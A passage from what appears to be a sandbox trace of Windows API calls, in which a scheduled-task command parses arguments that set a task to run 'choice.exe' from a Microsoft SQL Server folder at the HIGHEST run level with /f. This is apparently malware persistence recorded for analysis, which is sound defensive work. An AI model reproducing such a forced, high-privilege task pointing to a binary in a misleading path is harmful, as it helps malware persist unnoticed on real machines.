[0064.294] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.294] lstrlenW (lpString="|change|") returned 8 [0064.294] lstrlenW (lpString="|tr|") returned 4 [0064.294] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0064.294] SetLastError (dwErrCode=0x490) [0064.294] lstrlenW (lpString="run") returned 3 [0064.294] lstrlenW (lpString="run") returned 3 [0064.294] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] lstrlenW (lpString="tr") returned 2 [0064.294] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.294] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|run|") returned 5 [0064.294] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.294] lstrlenW (lpString="|run|") returned 5 [0064.294] lstrlenW (lpString="|tr|") returned 4 [0064.294] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0064.294] SetLastError (dwErrCode=0x490) [0064.294] lstrlenW (lpString="end") returned 3 [0064.294] lstrlenW (lpString="end") returned 3 [0064.295] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.295] lstrlenW (lpString="tr") returned 2 [0064.295] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.295] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|end|") returned 5 [0064.295] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.295] lstrlenW (lpString="|end|") returned 5 [0064.295] lstrlenW (lpString="|tr|") returned 4 [0064.295] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0064.295] SetLastError (dwErrCode=0x490) [0064.295] lstrlenW (lpString="showsid") returned 7 [0064.295] lstrlenW (lpString="showsid") returned 7 [0064.295] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.295] lstrlenW (lpString="tr") returned 2 [0064.295] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.295] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|showsid|") returned 9 [0064.295] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|tr|") returned 4 [0064.295] lstrlenW (lpString="|showsid|") returned 9 [0064.295] lstrlenW (lpString="|tr|") returned 4 [0064.295] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0064.295] SetLastError (dwErrCode=0x490) [0064.295] SetLastError (dwErrCode=0x490) [0064.295] SetLastError (dwErrCode=0x0) [0064.295] lstrlenW (lpString="/tr") returned 3 [0064.295] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0064.295] SetLastError (dwErrCode=0x490) [0064.297] SetLastError (dwErrCode=0x0) [0064.298] lstrlenW (lpString="/tr") returned 3 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c450 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce50 [0064.298] SetLastError (dwErrCode=0x0) [0064.298] SetLastError (dwErrCode=0x0) [0064.298] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.298] lstrlenW (lpString="-/") returned 2 [0064.298] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.298] SetLastError (dwErrCode=0x490) [0064.298] SetLastError (dwErrCode=0x490) [0064.298] SetLastError (dwErrCode=0x0) [0064.298] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.298] StrChrIW (lpStart="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'" [0064.298] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c470 [0064.298] _memicmp (_Buf1=0x23c470, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23c490 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23d680 [0064.298] _memicmp (_Buf1=0x23d680, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.298] GetProcessHeap () returned 0x220000 [0064.298] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8a) returned 0x23de50 [0064.298] SetLastError (dwErrCode=0x7a) [0064.298] SetLastError (dwErrCode=0x0) [0064.298] SetLastError (dwErrCode=0x0) [0064.298] lstrlenW (lpString="'C") returned 2 [0064.298] lstrlenW (lpString="-/") returned 2 [0064.298] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0064.299] SetLastError (dwErrCode=0x490) [0064.299] SetLastError (dwErrCode=0x490) [0064.299] SetLastError (dwErrCode=0x0) [0064.299] lstrlenW (lpString="'C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe'") returned 67 [0064.299] GetProcessHeap () returned 0x220000 [0064.299] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x88) returned 0x23def0 [0064.299] GetProcessHeap () returned 0x220000 [0064.299] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ce80 [0064.299] SetLastError (dwErrCode=0x0) [0064.299] SetLastError (dwErrCode=0x0) [0064.299] lstrlenW (lpString="/rl") returned 3 [0064.299] lstrlenW (lpString="-/") returned 2 [0064.299] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.299] lstrlenW (lpString="?") returned 1 [0064.299] lstrlenW (lpString="?") returned 1 [0064.299] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.299] lstrlenW (lpString="rl") returned 2 [0064.299] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.299] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.299] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.299] lstrlenW (lpString="|?|") returned 3 [0064.299] lstrlenW (lpString="|rl|") returned 4 [0064.299] SetLastError (dwErrCode=0x490) [0064.299] lstrlenW (lpString="create") returned 6 [0064.299] lstrlenW (lpString="create") returned 6 [0064.299] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.299] lstrlenW (lpString="rl") returned 2 [0064.299] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.299] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.299] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.299] lstrlenW (lpString="|create|") returned 8 [0064.299] lstrlenW (lpString="|rl|") returned 4 [0064.299] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0064.299] SetLastError (dwErrCode=0x490) [0064.299] lstrlenW (lpString="delete") returned 6 [0064.300] lstrlenW (lpString="delete") returned 6 [0064.300] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] lstrlenW (lpString="rl") returned 2 [0064.300] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|delete|") returned 8 [0064.300] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.300] lstrlenW (lpString="|delete|") returned 8 [0064.300] lstrlenW (lpString="|rl|") returned 4 [0064.300] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0064.300] SetLastError (dwErrCode=0x490) [0064.300] lstrlenW (lpString="query") returned 5 [0064.300] lstrlenW (lpString="query") returned 5 [0064.300] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] lstrlenW (lpString="rl") returned 2 [0064.300] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|query|") returned 7 [0064.300] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.300] lstrlenW (lpString="|query|") returned 7 [0064.300] lstrlenW (lpString="|rl|") returned 4 [0064.300] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0064.300] SetLastError (dwErrCode=0x490) [0064.300] lstrlenW (lpString="change") returned 6 [0064.300] lstrlenW (lpString="change") returned 6 [0064.300] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] lstrlenW (lpString="rl") returned 2 [0064.300] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.300] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|change|") returned 8 [0064.300] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.300] lstrlenW (lpString="|change|") returned 8 [0064.300] lstrlenW (lpString="|rl|") returned 4 [0064.300] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0064.301] SetLastError (dwErrCode=0x490) [0064.301] lstrlenW (lpString="run") returned 3 [0064.301] lstrlenW (lpString="run") returned 3 [0064.301] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] lstrlenW (lpString="rl") returned 2 [0064.301] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|run|") returned 5 [0064.301] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.301] lstrlenW (lpString="|run|") returned 5 [0064.301] lstrlenW (lpString="|rl|") returned 4 [0064.301] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0064.301] SetLastError (dwErrCode=0x490) [0064.301] lstrlenW (lpString="end") returned 3 [0064.301] lstrlenW (lpString="end") returned 3 [0064.301] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] lstrlenW (lpString="rl") returned 2 [0064.301] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|end|") returned 5 [0064.301] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.301] lstrlenW (lpString="|end|") returned 5 [0064.301] lstrlenW (lpString="|rl|") returned 4 [0064.301] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0064.301] SetLastError (dwErrCode=0x490) [0064.301] lstrlenW (lpString="showsid") returned 7 [0064.301] lstrlenW (lpString="showsid") returned 7 [0064.301] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] lstrlenW (lpString="rl") returned 2 [0064.301] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.301] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|showsid|") returned 9 [0064.301] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|rl|") returned 4 [0064.301] lstrlenW (lpString="|showsid|") returned 9 [0064.301] lstrlenW (lpString="|rl|") returned 4 [0064.302] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="/rl") returned 3 [0064.302] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="/rl") returned 3 [0064.302] GetProcessHeap () returned 0x220000 [0064.302] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23df80 [0064.302] GetProcessHeap () returned 0x220000 [0064.302] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ceb0 [0064.302] SetLastError (dwErrCode=0x0) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="HIGHEST") returned 7 [0064.302] lstrlenW (lpString="-/") returned 2 [0064.302] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="HIGHEST") returned 7 [0064.302] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0064.302] SetLastError (dwErrCode=0x490) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="HIGHEST") returned 7 [0064.302] GetProcessHeap () returned 0x220000 [0064.302] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x23d6a0 [0064.302] GetProcessHeap () returned 0x220000 [0064.302] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cee0 [0064.302] SetLastError (dwErrCode=0x0) [0064.302] SetLastError (dwErrCode=0x0) [0064.302] lstrlenW (lpString="/f") returned 2 [0064.302] lstrlenW (lpString="-/") returned 2 [0064.302] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.302] lstrlenW (lpString="?") returned 1 [0064.303] lstrlenW (lpString="?") returned 1 [0064.303] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] lstrlenW (lpString="f") returned 1 [0064.303] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|?|") returned 3 [0064.303] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.303] lstrlenW (lpString="|?|") returned 3 [0064.303] lstrlenW (lpString="|f|") returned 3 [0064.303] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0064.303] SetLastError (dwErrCode=0x490) [0064.303] lstrlenW (lpString="create") returned 6 [0064.303] lstrlenW (lpString="create") returned 6 [0064.303] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] lstrlenW (lpString="f") returned 1 [0064.303] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|create|") returned 8 [0064.303] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.303] lstrlenW (lpString="|create|") returned 8 [0064.303] lstrlenW (lpString="|f|") returned 3 [0064.303] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0064.303] SetLastError (dwErrCode=0x490) [0064.303] lstrlenW (lpString="delete") returned 6 [0064.303] lstrlenW (lpString="delete") returned 6 [0064.303] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] lstrlenW (lpString="f") returned 1 [0064.303] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.303] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|delete|") returned 8 [0064.303] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.303] lstrlenW (lpString="|delete|") returned 8 [0064.303] lstrlenW (lpString="|f|") returned 3 [0064.303] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0064.304] SetLastError (dwErrCode=0x490) [0064.304] lstrlenW (lpString="query") returned 5 [0064.304] lstrlenW (lpString="query") returned 5 [0064.304] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] lstrlenW (lpString="f") returned 1 [0064.304] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|query|") returned 7 [0064.304] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.304] lstrlenW (lpString="|query|") returned 7 [0064.304] lstrlenW (lpString="|f|") returned 3 [0064.304] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0064.304] SetLastError (dwErrCode=0x490) [0064.304] lstrlenW (lpString="change") returned 6 [0064.304] lstrlenW (lpString="change") returned 6 [0064.304] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] lstrlenW (lpString="f") returned 1 [0064.304] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|change|") returned 8 [0064.304] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.304] lstrlenW (lpString="|change|") returned 8 [0064.304] lstrlenW (lpString="|f|") returned 3 [0064.304] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0064.304] SetLastError (dwErrCode=0x490) [0064.304] lstrlenW (lpString="run") returned 3 [0064.304] lstrlenW (lpString="run") returned 3 [0064.304] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] lstrlenW (lpString="f") returned 1 [0064.304] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.304] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|run|") returned 5 [0064.304] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.304] lstrlenW (lpString="|run|") returned 5 [0064.304] lstrlenW (lpString="|f|") returned 3 [0064.305] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0064.305] SetLastError (dwErrCode=0x490) [0064.305] lstrlenW (lpString="end") returned 3 [0064.305] lstrlenW (lpString="end") returned 3 [0064.305] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.305] lstrlenW (lpString="f") returned 1 [0064.305] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.305] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|end|") returned 5 [0064.305] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.305] lstrlenW (lpString="|end|") returned 5 [0064.305] lstrlenW (lpString="|f|") returned 3 [0064.305] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0064.305] SetLastError (dwErrCode=0x490) [0064.305] lstrlenW (lpString="showsid") returned 7 [0064.305] lstrlenW (lpString="showsid") returned 7 [0064.305] _memicmp (_Buf1=0x23c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.305] lstrlenW (lpString="f") returned 1 [0064.305] _memicmp (_Buf1=0x23c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.305] _vsnwprintf (in: _Buffer=0x23c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|showsid|") returned 9 [0064.305] _vsnwprintf (in: _Buffer=0x23c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13f758 | out: _Buffer="|f|") returned 3 [0064.305] lstrlenW (lpString="|showsid|") returned 9 [0064.305] lstrlenW (lpString="|f|") returned 3 [0064.305] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0064.305] SetLastError (dwErrCode=0x490) [0064.305] SetLastError (dwErrCode=0x490) [0064.305] SetLastError (dwErrCode=0x0) [0064.305] lstrlenW (lpString="/f") returned 2 [0064.305] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0064.305] SetLastError (dwErrCode=0x490) [0064.305] SetLastError (dwErrCode=0x0) [0064.305] lstrlenW (lpString="/f") returned 2 [0064.305] GetProcessHeap () returned 0x220000 [0064.305] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x6) returned 0x23dfa0 [0064.305] GetProcessHeap () returned 0x220000 [0064.305] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cf10 [0064.306] SetLastError (dwErrCode=0x0) [0064.306] GetProcessHeap () returned 0x220000 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c360) returned 1 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c360) returned 0x8 [0064.306] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c360 | out: hHeap=0x220000) returned 1 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd90) returned 1 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd90) returned 0x20 [0064.306] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd90 | out: hHeap=0x220000) returned 1 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3f0) returned 1 [0064.306] GetProcessHeap () returned 0x220000 [0064.306] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c3f0) returned 0xe [0064.307] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c3f0 | out: hHeap=0x220000) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdc0) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdc0) returned 0x20 [0064.307] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdc0 | out: hHeap=0x220000) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c410) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c410) returned 0x8 [0064.307] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c410 | out: hHeap=0x220000) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdf0) returned 1 [0064.307] GetProcessHeap () returned 0x220000 [0064.307] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cdf0) returned 0x20 [0064.308] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cdf0 | out: hHeap=0x220000) returned 1 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c430) returned 1 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c430) returned 0x10 [0064.308] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c430 | out: hHeap=0x220000) returned 1 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce20) returned 1 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce20) returned 0x20 [0064.308] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce20 | out: hHeap=0x220000) returned 1 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] GetProcessHeap () returned 0x220000 [0064.308] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c450) returned 1 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c450) returned 0x8 [0064.309] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c450 | out: hHeap=0x220000) returned 1 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce50) returned 1 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce50) returned 0x20 [0064.309] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce50 | out: hHeap=0x220000) returned 1 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23def0) returned 1 [0064.309] GetProcessHeap () returned 0x220000 [0064.309] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23def0) returned 0x88 [0064.310] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23def0 | out: hHeap=0x220000) returned 1 [0064.310] GetProcessHeap () returned 0x220000 [0064.310] GetProcessHeap () returned 0x220000 [0064.310] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce80) returned 1 [0064.310] GetProcessHeap () returned 0x220000 [0064.310] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ce80) returned 0x20 [0064.311] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ce80 | out: hHeap=0x220000) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23df80) returned 1 [0064.311] GetProcessHeap () returned 0x220000 [0064.311] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23df80) 